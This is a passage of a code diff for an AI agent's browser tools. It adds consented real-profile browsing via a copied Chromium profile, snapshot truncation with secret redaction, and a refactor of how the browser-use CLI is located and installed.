"browser.use_real_profile is on, but the real-profile browser " + "took too long to start. Retry, or turn the toggle off." + ) + except (subprocess.SubprocessError, OSError) as e: + return None, f"browser.use_real_profile is on, but the launch failed: {e}" + if proc.returncode != 0: + tail = (proc.stderr or proc.stdout or "").strip().splitlines() + reason = tail[-1] if tail else f"exit {proc.returncode}" + return None, ( + f"browser.use_real_profile is on, but the real-profile browser " + f"failed to start: {reason}" + ) + + cdp = _bt._agent_browser_get_cdp(_bt._REAL_PROFILE_SESSION) + try: + with open(os.path.join(copy_dir, "DevToolsActivePort"), encoding="utf-8") as fh: + our_port = fh.readline().strip() + m = re.search(r":(\d+)", cdp or "") + if m and m.group(1) != our_port: + cdp = f"http://127.0.0.1:{our_port}" + except (OSError, ValueError): + pass + if not cdp: + return None, ( + "browser.use_real_profile is on, but the real-profile browser " + "started without exposing a devtools endpoint. Retry, or turn " + "the toggle off." + ) + return cdp, None + + +def _real_profile_cdp() -> tuple: + """Resolve ``(cdp_url, error)`` for consented real-profile browsing. + + Snapshots the user's default-Chromium profile into a hermes-owned copy + (auth/login state only), launches the real browser binary on that copy and + returns the HTTP CDP endpoint for agent-browser / the browser-use harness to + attach to. The copy is a non-default dir, so it sidesteps the Chrome ≥136 + default-profile remote-debugging block and never contends with the user's + running browser. + + A single shared agent-browser session is reused across calls (its CDP URL + is cached and re-validated). Returns ``(None, message)`` fail-closed when + the default browser is non-Chromium or the snapshot/launch fails; + ``(None, None)`` when consent is off. + """ + _bt = _origin() + if not _bt._use_real_profile(): + # Consent is off. A snapshot store from a previous consented run holds + # copies of the user's cookies/logins — delete it so revoking consent + # actually removes the credential copies. Cheap and idempotent. + try: + from hermes_cli.browser_connect import cleanup_real_profile_snapshots + + cleanup_real_profile_snapshots() + except Exception as e: + _bt.logger.debug("real-profile cleanup-on-consent-off failed: %s", e) + _bt._real_profile_cdp_cache.pop("cdp", None) + return None, None + + # Lightpanda rejects ``--profile`` outright. Detect it BEFORE default-browser + # detection so even a host with no Chromium default reports the actionable + # conflict (the engine setting) rather than a generic launch failure. + if _bt._using_lightpanda_engine(): + return None, ( + "browser.use_real_profile is on, but browser.engine is set to " + "'lightpanda', which cannot load a real Chromium profile. Set " + "browser.engine to 'auto' or 'chrome' to use real-profile browsing, " + "or turn the toggle off." + ) + + from hermes_cli.browser_connect import ( + chromium_executable, + detect_default_chromium, + real_profile_copy_dir, + snapshot_real_profile, + ) + + with _bt._real_profile_cdp_lock: + # Reuse a live copy-browser from an earlier call this process made. + cached = _bt._real_profile_cdp_cache.get("cdp") + if cached and _bt._cdp_http_ready(cached): + return cached, None + _bt._real_profile_cdp_cache.pop("cdp", None) + + browser = detect_default_chromium() + unsupported = _real_profile_unsupported_reason(browser) + if unsupported: + return None, unsupported + + # Reuse BEFORE writing anything. A shared copy-browser may already be up + # from a previous hermes process; if it is driving OUR copy dir, hand it + # back untouched. CRITICAL: the snapshot overlay (which truncates and + # rewrites Cookies / Login Data) must NOT run while that browser holds + # the user-data-dir open — doing so corrupts the live databases. So + # resolve the copy dir as a PATH only (no copy), probe reuse, and return + # early on a hit; the overlay happens solely on the relaunch path below. + copy_dir = real_profile_copy_dir(browser) + existing = _bt._agent_browser_get_cdp(_bt._REAL_PROFILE_SESSION) + if existing and _bt._cdp_http_ready(existing) and _bt._cdp_on_data_dir(existing, copy_dir): + _bt._real_profile_cdp_cache["cdp"] = existing + return existing, None + if existing: + # Stale/wrong-dir session (throwaway-temp fallback, or an old copy): + # close it so nothing holds the dir open before we overlay + relaunch. + _bt._agent_browser_close_session(_bt._REAL_PROFILE_SESSION) + + # No live browser owns the dir now — safe to (re)snapshot + overlay. + snap_dir, err = snapshot_real_profile(browser) + if err or not snap_dir: + return None, _real_profile_snapshot_error(err) + copy_dir = snap_dir + + real_binary = chromium_executable(browser) + if real_binary is None: + return None, ( + "browser.use_real_profile is on, but the real browser binary for " + f"'{browser}' could not be found. Reinstall it or turn the toggle off." + ) + port, err = _launch_real_profile_chrome(real_binary, copy_dir) + if port is None: + return None, err + cdp, err = _attach_agent_browser_to_real_profile(port, copy_dir) + if not cdp: + return None, err + _bt._real_profile_cdp_cache["cdp"] = cdp + _bt.logger.info("real-profile browser ready for %s at %s (%s)", browser, cdp, copy_dir) + return cdp, None diff --git a/tools/browser_tool_snapshot.py b/tools/browser_tool_snapshot.py new file mode 100644 index 0000000000..0192e1e5f9 --- /dev/null +++ b/tools/browser_tool_snapshot.py @@ -0,0 +1,131 @@ +"""Snapshot post-processing for the browser tools: truncate-and-store of oversized +accessibility trees, model-boundary secret redaction, screenshot-path recovery. + +Origin-module symbols are resolved lazily through ``tools.browser_tool`` (``_bt``) +so ``patch("tools.browser_tool.X")`` keeps working; never import ``tools.browser_tool`` +at import time (cycle). +""" + +import re +from typing import Any, Optional +from tools.browser_tool_origin import origin_module as _origin + + +def _extract_screenshot_path_from_text(text: str) -> Optional[str]: + """Extract a screenshot file path from agent-browser human-readable output.""" + if not text: + return None + + patterns = [ + r"Screenshot saved to ['\"](?P/[^'\"]+?\.png)['\"]", + r"Screenshot saved to (?P/\S+?\.png)(?:\s|$)", + r"(?P/\S+?\.png)(?:\s|$)", + ] + + for pattern in patterns: + match = re.search(pattern, text) + if match: + path = match.group("path").strip().strip("'\"") + if path: + return path + + return None + + +def _store_full_snapshot(snapshot_text: str) -> Optional[str]: + """Write a full snapshot to cache/web and return its path (None on failure — best-effort). + + Mirrors ``web_tools._store_full_text``: cache/web is mounted read-only into + remote backends, so read_file can page through the complete tree on any + backend. The stored copy is force-redacted (page-rendered secrets must not + hit disk unmasked) and named by content hash so identical snapshots dedupe. + """ + _bt = _origin() + try: + import hashlib + from hermes_constants import get_hermes_dir + from agent.redact import redact_sensitive_text + + content = redact_sensitive_text(snapshot_text, force=True) + if len(content) > _bt.MAX_STORED_SNAPSHOT_CHARS: + content = ( + content[:_bt.MAX_STORED_SNAPSHOT_CHARS] + + f"\n\n[... stored copy truncated at {_bt.MAX_STORED_SNAPSHOT_CHARS:,} chars " + f"of {len(content):,} ...]" + ) + from tools.spill_safety import ensure_spill_dir, write_text_exclusive + + cache_dir = get_hermes_dir("cache/web", "web_cache") + ensure_spill_dir(cache_dir, private=False) + digest = hashlib.sha256(content.encode("utf-8")).hexdigest()[:10] + path = cache_dir / f"browser-snapshot-{digest}.txt" + # Deterministic filename in a well-known dir: refuse symlinks via + # lstat-unlink + exclusive create. Re-snapshotting the same page + # state legitimately overwrites (same content-hash name). Not + # private: cache/web is bind-mounted into remote backends whose + # container UID must be able to read it. + write_text_exclusive(path, content, private=False, overwrite=True) + return str(path) + except Exception as exc: # noqa: BLE001 + _bt.logger.debug("Failed to store full browser snapshot: %s", exc) + return None + + +def _truncate_snapshot(snapshot_text: str, max_chars: Optional[int] = None) -> str: + """Truncate a snapshot at line boundaries (never mid-element) to ``max_chars``. + + Defaults to ``browser.snapshot_threshold``. The full snapshot is stored to + cache/web and the appended note tells the agent how to page through it + with read_file — element refs beyond the cut are in the file, not lost. + """ + _bt = _origin() + if max_chars is None: + max_chars = _bt.get_browser_snapshot_threshold() + if len(snapshot_text) <= max_chars: + return snapshot_text + + stored_path = _store_full_snapshot(snapshot_text) + + lines = snapshot_text.split('\n') + result: list[str] = [] + chars = 0 + # Reserve space for the truncation note (the stored-path variant is the + # longer of the two). Clamp so tiny max_chars values still keep content. + reserve = min(110 + len(stored_path or ""), max_chars // 2) + for line in lines: + if chars + len(line) + 1 > max_chars - reserve: + break + result.append(line) + chars += len(line) + 1 + remaining = len(lines) - len(result) + if remaining > 0: + if stored_path: + next_line = len(result) + 1 + result.append( + f'\n[... {remaining} more lines truncated — full snapshot: ' + f'read_file path="{stored_path}" offset={next_line} limit=200]' + ) + else: + result.append(f'\n[... {remaining} more lines truncated, use browser_snapshot for full content]') + return '\n'.join(result) + + +def _redact_browser_output(value: Any) -> Any: + """Redact secrets from browser-originated data before returning to the model. + + Browser snapshots, console messages, JS exceptions, and eval results can + contain page-rendered API keys, cookies, bearer tokens, or pasted secrets. + Tool output is a model boundary, so force redaction here even if global log + redaction is disabled for debugging. + """ + from agent.redact import redact_sensitive_text + + if isinstance(value, str): + return redact_sensitive_text(value, force=True) + if isinstance(value, list): + return [_redact_browser_output(item) for item in value] + if isinstance(value, tuple): + return tuple(_redact_browser_output(item) for item in value) + if isinstance(value, dict): + return {key: _redact_browser_output(item) for key, item in value.items()} + return value diff --git a/tools/browser_use_cli.py b/tools/browser_use_cli.py index 989f05eb91..d79bd6cd5a 100644 --- a/tools/browser_use_cli.py +++ b/tools/browser_use_cli.py @@ -4,6 +4,7 @@ When browser.backend is "browser-use", the model gets ``browser_exec`` tool instead of default browser tools """ +import importlib import json import logging import os @@ -12,8 +13,9 @@ import shutil import subprocess import time from pathlib import Path -from typing import Any, Dict, List, Optional, Tuple +from typing import Any, Callable, Dict, List, Optional, Tuple +from hermes_constants import get_hermes_home from utils import is_truthy_value logger = logging.getLogger(__name__) @@ -24,19 +26,16 @@ BACKEND_DISABLED = "off" # Cloud daemon names become the BU_NAME env var _SESSION_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9_-]{0,63}$") -# Internal marker set by _resolve_backend_cdp on the env dict when the -# resolved browser is EXCLUSIVE to this named session (per-name provider -# browser, or a named Browser Use cloud browser). Popped before the -# subprocess launches — never exported to the CLI. +# Set on the env dict by the CDP resolvers when the resolved browser is EXCLUSIVE +# to this named session (per-name provider / named BU cloud / Lightpanda). +# Popped before the subprocess launches — never exported to the CLI. _PRIVATE_BROWSER_SENTINEL = "_HERMES_BU_PRIVATE_BROWSER" -# Preamble prepended to the model's code for named sessions on SHARED -# browsers (local Chrome / CDP override). The harness daemon attaches to the -# first existing page at startup, so two fresh named daemons can land on the -# SAME tab; steering this daemon onto a tab it created keeps concurrent named -# sessions from clobbering each other before their first new_tab(). Runs -# once per daemon (marker file keyed by BU_NAME under the harness runtime -# state), costs one IPC round-trip on later calls. +# Prepended to the model's code for named sessions on SHARED browsers (local +# Chrome / CDP override): the harness daemon attaches to the first existing page +# at startup, so two fresh named daemons can land on the SAME tab. Steering each +# onto a tab it created prevents clobbering before their first new_tab(). Runs +# once per daemon (marker keyed by BU_NAME + daemon pid). _OWN_TAB_PREAMBLE = """\ # hermes: pin this named session to its own tab (once per daemon process) def _hermes_ensure_own_tab(): @@ -80,11 +79,8 @@ _STDERR_CAP_CHARS = 4000 # Filesystem-safe task ids for per-task workspace dirs. _TASK_ID_SAFE_RE = re.compile(r"[^A-Za-z0-9._-]+") -# Screenshot paths printed by capture_screenshot() in the exec output. -# Two alternatives: POSIX absolute (/tmp/shot.png) and Windows drive-letter -# absolute (C:\Users\...\shot.png or C:/Users/.../shot.png). Browser Use on -# Windows prints native paths — the POSIX-only pattern silently dropped them -# and screenshot_path / the multimodal attach never fired (#83884). +# Screenshot paths printed by capture_screenshot(): POSIX absolute or Windows +# drive-letter absolute (Browser Use on Windows prints native paths). _IMAGE_PATH_RE = re.compile( r"((?:[A-Za-z]:[\\/]|/)[^\s\"']+?\.(?:png|jpe?g|webp))", re.IGNORECASE ) @@ -92,11 +88,50 @@ _IMAGE_PATH_RE = re.compile( # http(s) URL literals in exec code checked against browser_navigate's policy _URL_RE = re.compile(r"https?://[^\s'\"\\)]+", re.IGNORECASE) +_FHS_BIN_DIRS = ("/usr/local/sbin", "/usr/local/bin", "/usr/sbin", "/usr/bin", "/sbin", "/bin") + + +def _lazy_call(module: str, name: str, default: Any, log_prefix: str) -> Any: + """Call ``module.name()`` resolved at call time (so tests can stub the module or + patch the attribute); on any failure log ``log_prefix`` and return ``default``.""" + try: + return getattr(importlib.import_module(module), name)() + except Exception as e: + logger.debug("%s: %s", log_prefix, e) + return default + + +def _camofox_active(context: str = "") -> bool: + """True when the Camofox backend is selected; False (logged) if the probe fails.""" + return _lazy_call("tools.browser_camofox", "is_camofox_mode", False, f"Camofox activity check failed{context}") + + +def _set_cdp_env(env: dict, cdp: str) -> None: + """Export a CDP endpoint under the BU_CDP_* contract (http(s) → URL, else WS).""" + env["BU_CDP_URL" if cdp.startswith(("http://", "https://")) else "BU_CDP_WS"] = cdp + + +def _has_cdp_env(env: dict) -> bool: + return bool(env.get("BU_CDP_WS") or env.get("BU_CDP_URL")) + + +def _export_session_cdp(env: dict, get_session_info: Callable[[str], Any], cache_key: str, + fail_msg: Callable[[Exception], str], no_cdp_msg: str) -> Optional[str]: + """Export the CDP endpoint from ``get_session_info(cache_key)``; error string on failure / no CDP.""" + try: + session_info = get_session_info(cache_key) + except Exception as e: + return fail_msg(e) + cdp = str((session_info or {}).get("cdp_url") or "") + if not cdp: + return no_cdp_msg + _set_cdp_env(env, cdp) + return None + def _blocked_url_in_code(code: str) -> Optional[str]: """Return an error if a URL literal fails the built-in navigation checks.""" from tools.browser_tool import evaluate_url_safety - for url in _URL_RE.findall(code or ""): err = evaluate_url_safety(url) if err: @@ -106,22 +141,12 @@ def _blocked_url_in_code(code: str) -> Optional[str]: def _base_subprocess_env() -> dict: from tools.browser_tool import _build_browser_env - env = _build_browser_env() - # The browser-use CLI runs under its own Python (uv tool / uvx), which - # may differ from Hermes's venv Python. PYTHONPATH/PYTHONHOME inherited - # from the agent process point at Hermes's venv site-packages, and a - # child interpreter honors them ahead of its own site-packages — so the - # CLI imports compiled C-extensions (e.g. pydantic_core) built for the - # wrong interpreter and crashes on ABI mismatch (#83427, #84841, #86006, - # #86104). Strip both — the CLI manages its own environment and never - # needs Hermes's import path. + # The CLI runs under its own Python (uv tool / uvx); inherited + # PYTHONPATH/PYTHONHOME (Hermes's venv) win over its site-packages → wrong-ABI + # C-extensions (pydantic_core) and a crash. Strip both. env.pop("PYTHONPATH", None) env.pop("PYTHONHOME", None) - # Same class of hazard, PATH flavor: profile-spawned workers (kanban - # bots, cron jobs) can hand down a PATH of only version-manager dirs, - # which kills the uv trampoline before the CLI's Python starts. Floor - # the PATH so coreutils are always reachable (see below). env["PATH"] = _floor_subprocess_path(env.get("PATH", "")) env.setdefault("ANONYMIZED_TELEMETRY", "false") return env @@ -130,36 +155,22 @@ def _base_subprocess_env() -> dict: def _floor_subprocess_path(path: str) -> str: """Guarantee core system dirs survive onto the CLI subprocess PATH. - Profile workers can inherit a PATH holding only version-manager dirs - (observed: the nvm node dir repeated 7x, nothing else). That is fatal - for the uv-installed browser-use binary: its POSIX sh trampoline - resolves ``dirname``/``realpath`` through PATH, so without /usr/bin it - dies with ``realpath: not found … exec: /python: not found`` (exit - 127) before its own Python ever starts. Reuses browser_tool's - ``_merge_browser_path`` floor — same hazard, same sane-dir list — and - falls back to appending FHS bin dirs if that import is unavailable. - Windows .cmd shims don't trampoline through PATH, so no-op there. + Profile workers (kanban bots, cron) can inherit a PATH of only version-manager + dirs; the uv browser-use binary's POSIX sh trampoline resolves + ``dirname``/``realpath`` through PATH and dies (exit 127) without /usr/bin. + Reuses browser_tool's ``_merge_browser_path`` floor, else appends FHS bin + dirs. Windows .cmd shims don't trampoline through PATH, so no-op there. """ if os.name == "nt": return path try: from tools.browser_tool import _merge_browser_path - return _merge_browser_path(path or "") except Exception: pass parts = [p for p in (path or "").split(os.pathsep) if p] existing = set(parts) - for directory in ( - "/usr/local/sbin", - "/usr/local/bin", - "/usr/sbin", - "/usr/bin", - "/sbin", - "/bin", - ): - if directory not in existing and os.path.isdir(directory): - parts.append(directory) + parts.extend(d for d in _FHS_BIN_DIRS if d not in existing and os.path.isdir(d)) return os.pathsep.join(parts) @@ -167,7 +178,6 @@ def _read_browser_cfg() -> dict: """Return the ``browser:`` config section, or {} on any failure.""" try: from hermes_cli.config import cfg_get, read_raw_config - cfg = cfg_get(read_raw_config(), "browser", default={}) return cfg if isinstance(cfg, dict) else {} except Exception as e: @@ -178,23 +188,18 @@ def _read_browser_cfg() -> dict: def get_browser_backend() -> str: """Return the configured browser backend key ("" = unset → default). - YAML 1.1 parses an unquoted ``off`` as boolean False — a hand-edited - ``backend: off`` must mean BACKEND_DISABLED, not "unset". (True has no - sensible backend meaning; normalize it to unset.) + YAML 1.1 parses an unquoted ``off`` as False — a hand-edited ``backend: off`` + must mean BACKEND_DISABLED, not "unset" (True has no meaning → unset). """ raw = _read_browser_cfg().get("backend") - if raw is False: - return BACKEND_DISABLED - if raw is True: - return "" + if isinstance(raw, bool): + return BACKEND_DISABLED if raw is False else "" return str(raw or "").strip().lower() def is_legacy_browser_use_cloud_config(browser_cfg: dict) -> bool: """True for pre-CLI direct-API Browser Use cloud configs""" - if not isinstance(browser_cfg, dict): - return False - if browser_cfg.get("backend"): + if not isinstance(browser_cfg, dict) or browser_cfg.get("backend"): return False # an explicit backend choice wins provider = str(browser_cfg.get("cloud_provider") or "").strip().lower() if provider not in {"browser-use", ""}: @@ -203,35 +208,22 @@ def is_legacy_browser_use_cloud_config(browser_cfg: dict) -> bool: return False # Camofox is selected via env var, not cloud_provider — a Camofox user # with a stray BROWSER_USE_API_KEY must keep their explicit choice. - try: - from tools.browser_camofox import is_camofox_mode - - if is_camofox_mode(): - return False - except Exception as e: - logger.debug("Camofox activity check failed during migration: %s", e) + if _camofox_active(" during migration"): + return False return bool(os.getenv("BROWSER_USE_API_KEY")) def is_browser_use_cli_mode() -> bool: """True when the Browser Use CLI replaces the built-in browser stack. - Browser Use mode is the DEFAULT: an unset ``browser.backend`` ("") enables - it whenever the browser-use CLI is runnable (installed binary or uvx). - Set ``browser.backend: off`` (or ``/browser use off``) for the built-in - browser_* tools. - - Camofox always falls back to the built-in tools regardless of - ``browser.backend`` — it is Firefox-based with a custom HTTP API and no - CDP surface, so the CDP-only browser-use harness cannot drive it. + Browser Use mode is the DEFAULT: unset ``browser.backend`` ("") enables it + whenever the CLI is runnable (installed binary or uvx); ``browser.backend: + off`` (or ``/browser use off``) keeps the built-in browser_* tools. Camofox + always falls back to the built-in tools regardless — Firefox-based with a + custom HTTP API and no CDP surface, so the CDP-only harness cannot drive it. """ - try: - from tools.browser_camofox import is_camofox_mode - - if is_camofox_mode(): - return False - except Exception as e: - logger.debug("Camofox activity check failed: %s", e) + if _camofox_active(): + return False backend = get_browser_backend() if backend: return backend == _BACKEND_KEY @@ -247,28 +239,12 @@ _NOTICE_INTERVAL_S = 24 * 3600 def default_downgrade_notice() -> Optional[str]: - """One-line notice when the default Browser Use backend silently downgraded. - - Returns the notice string when ``browser.backend`` is unset (Browser Use - would be the default) but the CLI is not runnable, so the session fell - back to the built-in browser tools. Rate-limited to once per 24h via a - stamp file so it nudges without nagging. Returns ``None`` otherwise. - """ + """One-line notice when ``browser.backend`` is unset (Browser Use would be the + default) but the CLI is not runnable, so the session fell back to the built-in + tools. Rate-limited to once per 24h via a stamp file.""" try: - if get_browser_backend(): - return None # explicit choice — nothing downgraded - try: - from tools.browser_camofox import is_camofox_mode - - if is_camofox_mode(): - return None - except Exception: - pass - if _find_cli() is not None: - return None - - from hermes_constants import get_hermes_home - + if get_browser_backend() or _camofox_active() or _find_cli() is not None: + return None # explicit choice / Camofox / CLI present — nothing downgraded stamp = Path(get_hermes_home()) / "cache" / _NOTICE_STAMP_NAME try: if 0 <= time.time() - stamp.stat().st_mtime < _NOTICE_INTERVAL_S: @@ -280,125 +256,83 @@ def default_downgrade_notice() -> Optional[str]: stamp.touch() except OSError: pass - return ( - "Browser Use CLI not found — using the built-in browser tools. " - "Run `hermes tools` (Browser Automation → Browser Use) to install it, " - "or `browser.backend: off` in config.yaml to silence this." - ) + return ("Browser Use CLI not found — using the built-in browser tools. " + "Run `hermes tools` (Browser Automation → Browser Use) to install it, " + "or `browser.backend: off` in config.yaml to silence this.") except Exception as e: # pragma: no cover — a notice must never break startup logger.debug("browser-use downgrade notice failed: %s", e) return None -def _managed_bin_dir() -> Optional[str]: - """Hermes' own bin dir ($HERMES_HOME/bin) — where install.sh puts uv/uvx - and where install_cli() links the browser-use binary.""" - try: - from hermes_constants import get_hermes_home - - return str(Path(get_hermes_home()) / "bin") - except Exception as e: # pragma: no cover — defensive - logger.debug("Could not resolve managed bin dir: %s", e) - return None +def _managed_bin_dir() -> str: + """$HERMES_HOME/bin — where install.sh puts uv/uvx and install_cli() links browser-use.""" + return str(Path(get_hermes_home()) / "bin") def _user_local_bin_dir() -> Optional[str]: - """The standard user-level tool dir (~/.local/bin on POSIX; uv's default - tool bin dir on Windows). Desktop/TUI workers may start with a minimal - PATH that omits it even when `uv tool install browser-use` put the - binary there.""" - try: - if os.name == "nt": - base = os.environ.get("APPDATA") - if base: - return str(Path(base) / "uv" / "bin") - return None - return str(Path(os.path.expanduser("~")) / ".local" / "bin") - except Exception as e: # pragma: no cover — defensive - logger.debug("Could not resolve user-local bin dir: %s", e) - return None + """User-level tool dir (~/.local/bin; uv's tool bin dir on Windows) — Desktop/TUI + workers may start with a minimal PATH that omits it.""" + if os.name == "nt": + base = os.environ.get("APPDATA") + return str(Path(base) / "uv" / "bin") if base else None + return str(Path(os.path.expanduser("~")) / ".local" / "bin") def _find_cli() -> Optional[List[str]]: """Locate the browser-use CLI, or None when it can't be run. - MANAGED-FIRST resolution: Hermes' own ``$HERMES_HOME/bin`` copy — the - one every browser backend selection installs and updates via - ``install_cli()`` — always wins, so all sessions drive one canonical, - Hermes-controlled binary. PATH and the user-level tool dir - (~/.local/bin / %APPDATA%\\uv\\bin, where a manual ``uv tool install`` - links binaries) are fallbacks for setups that never ran our install, - and cover Desktop/TUI workers that spawn with a minimal PATH. The uvx - zero-install path (same probe order) is the final fallback. + MANAGED-FIRST: Hermes' own ``$HERMES_HOME/bin`` copy (installed/updated via + ``install_cli()``) always wins so every session drives one Hermes-controlled + binary; PATH and the user-level tool dir (manual ``uv tool install``, minimal + Desktop/TUI PATHs) are fallbacks; uvx zero-install (same probe order) is last. """ - probe_paths = (_managed_bin_dir(), None, _user_local_bin_dir()) - for probe_path in probe_paths: - if probe_path is None or probe_path: - direct = shutil.which("browser-use", path=probe_path) - if direct: - return [direct] - for probe_path in probe_paths: - if probe_path is None or probe_path: - uvx = shutil.which("uvx", path=probe_path) - if uvx: - return [uvx, "browser-use"] + probe_paths = [p for p in (_managed_bin_dir(), None, _user_local_bin_dir()) if p is None or p] # None = PATH + for name, argv in (("browser-use", lambda b: [b]), ("uvx", lambda b: [b, "browser-use"])): + for probe_path in probe_paths: + found = shutil.which(name, path=probe_path) + if found: + return argv(found) return None def install_cli(timeout_s: int = 600) -> Tuple[bool, str]: - """Install the browser-use CLI persistently via ``uv tool install``. - - Resolution order for uv: Hermes' managed uv (bootstrapped on demand via - ``hermes_cli.managed_uv.ensure_uv``) → uv on PATH. The binary is linked - into ``$HERMES_HOME/bin`` (``UV_TOOL_BIN_DIR``) so ``_find_cli()`` - resolves it for every profile without touching the user's PATH. - - Returns ``(ok, message)`` — never raises. + """Install the browser-use CLI persistently via ``uv tool install`` + (managed uv via ``ensure_uv`` → uv on PATH), linking the binary into + ``$HERMES_HOME/bin`` (``UV_TOOL_BIN_DIR``) so ``_find_cli()`` resolves it for + every profile without touching the user's PATH. Returns ``(ok, message)``; + never raises. """ - # MANAGED-FIRST: only the managed copy short-circuits the install. A - # browser-use found on PATH is a user-level side install — it must NOT - # prevent provisioning the canonical Hermes-managed copy, or resolution - # stays pinned to a binary we don't control (version drift, no updates - # through hermes tools). + # MANAGED-FIRST: only the managed copy short-circuits. A browser-use on PATH + # is a user-level side install and must NOT prevent provisioning the + # canonical Hermes-managed copy (version drift, no updates via hermes tools). bin_dir = _managed_bin_dir() - if bin_dir: - managed = shutil.which("browser-use", path=bin_dir) - if managed: - return True, f"browser-use CLI already installed ({managed})" + managed = shutil.which("browser-use", path=bin_dir) + if managed: + return True, f"browser-use CLI already installed ({managed})" uv_bin: Optional[str] = None try: from hermes_cli.managed_uv import ensure_uv - uv_bin = str(ensure_uv() or "") or None except Exception as e: logger.debug("Managed uv bootstrap unavailable: %s", e) + uv_bin = uv_bin or shutil.which("uv") if not uv_bin: - uv_bin = shutil.which("uv") - if not uv_bin: - return False, ( - "uv is not available and could not be bootstrapped. Install uv " - "(https://docs.astral.sh/uv/) and run `uv tool install browser-use`." - ) + return False, ("uv is not available and could not be bootstrapped. Install uv " + "(https://docs.astral.sh/uv/) and run `uv tool install browser-use`.") env = dict(os.environ) env["UV_NO_CONFIG"] = "1" - if bin_dir: - try: - Path(bin_dir).mkdir(parents=True, exist_ok=True) - env["UV_TOOL_BIN_DIR"] = bin_dir - except OSError as e: - logger.debug("Could not prepare %s: %s", bin_dir, e) + try: + Path(bin_dir).mkdir(parents=True, exist_ok=True) + env["UV_TOOL_BIN_DIR"] = bin_dir + except OSError as e: + logger.debug("Could not prepare %s: %s", bin_dir, e) try: result = subprocess.run( - [uv_bin, "tool", "install", "browser-use"], - capture_output=True, - text=True, - encoding="utf-8", - errors="replace", - env=env, - timeout=timeout_s, + [uv_bin, "tool", "install", "browser-use"], capture_output=True, text=True, + encoding="utf-8", errors="replace", env=env, timeout=timeout_s, ) except subprocess.TimeoutExpired: return False, f"`uv tool install browser-use` timed out after {timeout_s}s" @@ -406,17 +340,13 @@ def install_cli(timeout_s: int = 600) -> Tuple[bool, str]: return False, f"Failed to run `uv tool install browser-use`: {e}" if result.returncode != 0: - tail = "\n".join( - (result.stderr or result.stdout or "").strip().splitlines()[-3:] - ) + tail = "\n".join((result.stderr or result.stdout or "").strip().splitlines()[-3:]) return False, f"`uv tool install browser-use` failed:\n{tail}" found = _find_cli() if not found or len(found) != 1: - return False, ( - "install reported success but the browser-use binary is still " - "not resolvable — run `uv tool install browser-use` manually" - ) + return False, ("install reported success but the browser-use binary is still " + "not resolvable — run `uv tool install browser-use` manually") return True, f"browser-use CLI installed ({found[0]})" @@ -426,10 +356,6 @@ def _workspace_dir(task_id: Optional[str]) -> Optional[str]: if existing: return existing try: - from pathlib import Path - - from hermes_constants import get_hermes_home - safe = _TASK_ID_SAFE_RE.sub("_", str(task_id or "default"))[:80] or "default" path = Path(get_hermes_home()) / "cache" / "browser-use" / "workspace" / safe path.mkdir(parents=True, exist_ok=True) @@ -440,10 +366,8 @@ def _workspace_dir(task_id: Optional[str]) -> Optional[str]: def _find_screenshot(stdout: str, since: float) -> Optional[str]: - """Return the last screenshot path printed during this exec, or None. - - Only accepts files that exist and were written after the exec started - """ + """Last screenshot path printed during this exec that exists and was + written after the exec started, or None.""" for path in reversed(_IMAGE_PATH_RE.findall(stdout or "")): try: if os.path.isfile(path) and os.path.getmtime(path) >= since - 1: @@ -456,42 +380,23 @@ def _find_screenshot(stdout: str, since: float) -> Optional[str]: def _native_screenshot_result(result: Dict[str, Any], path: str) -> Optional[Dict[str, Any]]: """Build a multimodal tool result attaching path for vision models""" try: - from pathlib import Path - - from tools.vision_tools import ( - _EMBED_MAX_DIMENSION, - _EMBED_TARGET_BYTES, - _resize_image_for_vision, - _should_use_native_vision_fast_path, - ) + from tools.vision_tools import (_EMBED_MAX_DIMENSION, _EMBED_TARGET_BYTES, + _resize_image_for_vision, _should_use_native_vision_fast_path) if not _should_use_native_vision_fast_path(): return None - # History-reuse cap (#92699): this data URL bakes into the tool - # result and is re-sent on every later turn — same policy as the - # vision_analyze / browser_vision native embeds (256 KB / 1568 px, - # JPEG quality ladder instead of PNG dimension-halving). + # History-reuse cap: this data URL bakes into the tool result and is + # re-sent every later turn — same policy as the vision_analyze / + # browser_vision native embeds (256 KB / 1568 px, JPEG quality ladder). data_url = _resize_image_for_vision( - Path(path), - mime_type="image/png", - max_base64_bytes=_EMBED_TARGET_BYTES, - max_dimension=_EMBED_MAX_DIMENSION, - force_jpeg=True, + Path(path), mime_type="image/png", max_base64_bytes=_EMBED_TARGET_BYTES, + max_dimension=_EMBED_MAX_DIMENSION, force_jpeg=True, ) text = json.dumps(result, ensure_ascii=False) + attached = text + "\n\nThe screenshot from this call is attached — inspect it with your native vision." return { "_multimodal": True, - "content": [ - { - "type": "text", - "text": ( - text - + "\n\nThe screenshot from this call is attached — " - "inspect it with your native vision." - ), - }, - {"type": "image_url", "image_url": {"url": data_url}}, - ], + "content": [{"type": "text", "text": attached}, {"type": "image_url", "image_url": {"url": data_url}}], "text_summary": text, "meta": {"screenshot_path": path, "native_vision": True}, } @@ -505,18 +410,12 @@ def _backend_cache_key(task_id: Optional[str], session_name: str = "") -> str: return f"bu-named-{session_name}" if session_name else (task_id or "browser-exec-default") -def _resolve_lightpanda_cdp( - env: dict, task_id: Optional[str], session_name: str = "" -) -> Optional[str]: - """Point the harness at a Hermes-spawned ``lightpanda serve``. - - Only when ``browser.engine`` is ``lightpanda`` and nothing with higher - precedence (BU_CDP_* env, a CDP override, a cloud provider) claimed the - session. Each cache key gets its own Lightpanda process via the legacy - stack's ``_get_session_info()`` (cache, inactivity reaper, atexit), so - the browser is private to this session and the own-tab preamble is - skipped. Returns an error string when Lightpanda cannot start. - """ +def _resolve_lightpanda_cdp(env: dict, task_id: Optional[str], session_name: str = "") -> Optional[str]: + """Point the harness at a Hermes-spawned ``lightpanda serve`` (only when + ``browser.engine`` is ``lightpanda`` and nothing with higher precedence claimed + the session). Each cache key gets its own process via the legacy + ``_get_session_info()`` (cache, inactivity reaper, atexit), so the browser is + private to this session and the own-tab preamble is skipped.""" try: from tools.browser_tool import _get_session_info, _using_lightpanda_engine except Exception as e: # pragma: no cover — stubbed browser_tool in tests @@ -528,64 +427,35 @@ def _resolve_lightpanda_cdp( except Exception as e: logger.debug("browser engine lookup failed: %s", e) return None - try: - session_info = _get_session_info(_backend_cache_key(task_id, session_name)) - except Exception as e: - return ( - f"Lightpanda could not be started: {e} Set browser.engine to auto " - "to use local Chrome, or switch backends via `hermes tools` → " - "Browser Automation." - ) - cdp = str((session_info or {}).get("cdp_url") or "") - if not cdp: - return ( - "Lightpanda session returned no CDP endpoint. Set browser.engine " - 